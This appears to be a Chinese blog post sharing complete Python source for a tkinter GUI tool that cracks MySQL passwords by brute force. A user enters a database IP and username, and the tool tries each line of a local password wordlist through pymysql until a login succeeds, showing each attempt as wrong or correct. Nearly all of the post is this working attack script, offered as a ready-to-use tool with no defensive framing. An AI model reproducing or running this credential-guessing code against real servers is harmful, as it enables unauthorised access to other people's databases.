调用过程:main.py-->listview.py-->mysql_attack.py
"""
窗体1:立即显示
窗体1点击破解,窗体2立即显示
窗体2点击破解,若小文件,理解显示结果;若大文件,卡顿
"""
import tkinter
from listview import ListView
class Main(object):
def __init__(self):
self.tk = tkinter.Tk()
self.tk.title('main')
self.tk.geometry('800x600+0+0')
label = tkinter.Label(self.tk, text='请输入数据库ip:')
label.place(x=0, y=0)
self.entry_ip = tkinter.Entry(self.tk)
self.entry_ip.place(x=120, y=0)
label = tkinter.Label(self.tk, text='请输入数据库用户名:')
label.place(x=0, y=50)
self.entry_user = tkinter.Entry(self.tk)
self.entry_user.place(x=120, y=50)
self.button = tkinter.Button(self.tk, text='破解', command=self.callback)
self.button.place(x=0, y=100)
def show(self):
self.tk.mainloop()
def callback(self):
ip = self.entry_ip.get()
user = self.entry_user.get()
if ip and user:
list_view = ListView(self.entry_ip.get(), self.entry_user.get())
list_view.show()
if __name__ == '__main__':
main = Main()
main.show()
import tkinter
from mysql_attack import MySqlAttack
class ListView(object):
def __init__(self, ip, user):
self.ip = ip
self.user = user
self.tk = tkinter.Tk()
self.tk.title('listview')
self.tk.geometry('800x600+0+0')
button = tkinter.Button(self.tk, text='破解', command=self.callback)
button.pack()
self.listbox = tkinter.Listbox(self.tk, width=800, height=600)
self.listbox.pack()
self.mysql_attack = MySqlAttack(self.ip, self.user)
def insert(self, item):
self.listbox.insert(tkinter.END, item)
def show(self):
self.tk.mainloop()
def callback(self):
self.mysql_attack.start_attack(self) # 耗时操作
def __del__(self):
print(self, '被销毁了')
import pymysql
class MySqlAttack(object):
def __init__(self, ip, user):
"""
:param ip: mysql ip
:param user: mysql user
"""
self.ip = ip
self.user = user
# file_path = r'E:\study\Python\大数据相关\mysql_passwords\passwords2.txt'
file_path = r'D:\Documents\Downloads\passwordsdick\passwords.txt'
self.file = open(file_path, 'r', encoding='utf-8', errors='ignore')
def attack(self, index, password):
try:
connect = pymysql.connect(host=self.ip, user=self.user,
password=password) # ubuntu18.04
connect.close()
except:
return '%d,%s,密码错误' % (index, password)
return '%d,%s,密码正确' % (index, password)
def start_attack(self, listview):
for index, line in enumerate(self.file):
index += 1
password = line[:-1]
if not password:
continue
ret = self.attack(index, password)
listview.insert(ret)
if '正确' in ret:
break
def __del__(self):
self.file.close()
print(self, '被销毁了')
zhu6201976 发布了173 篇原创文章 · 获赞 45 · 访问量 10万+ 私信 关注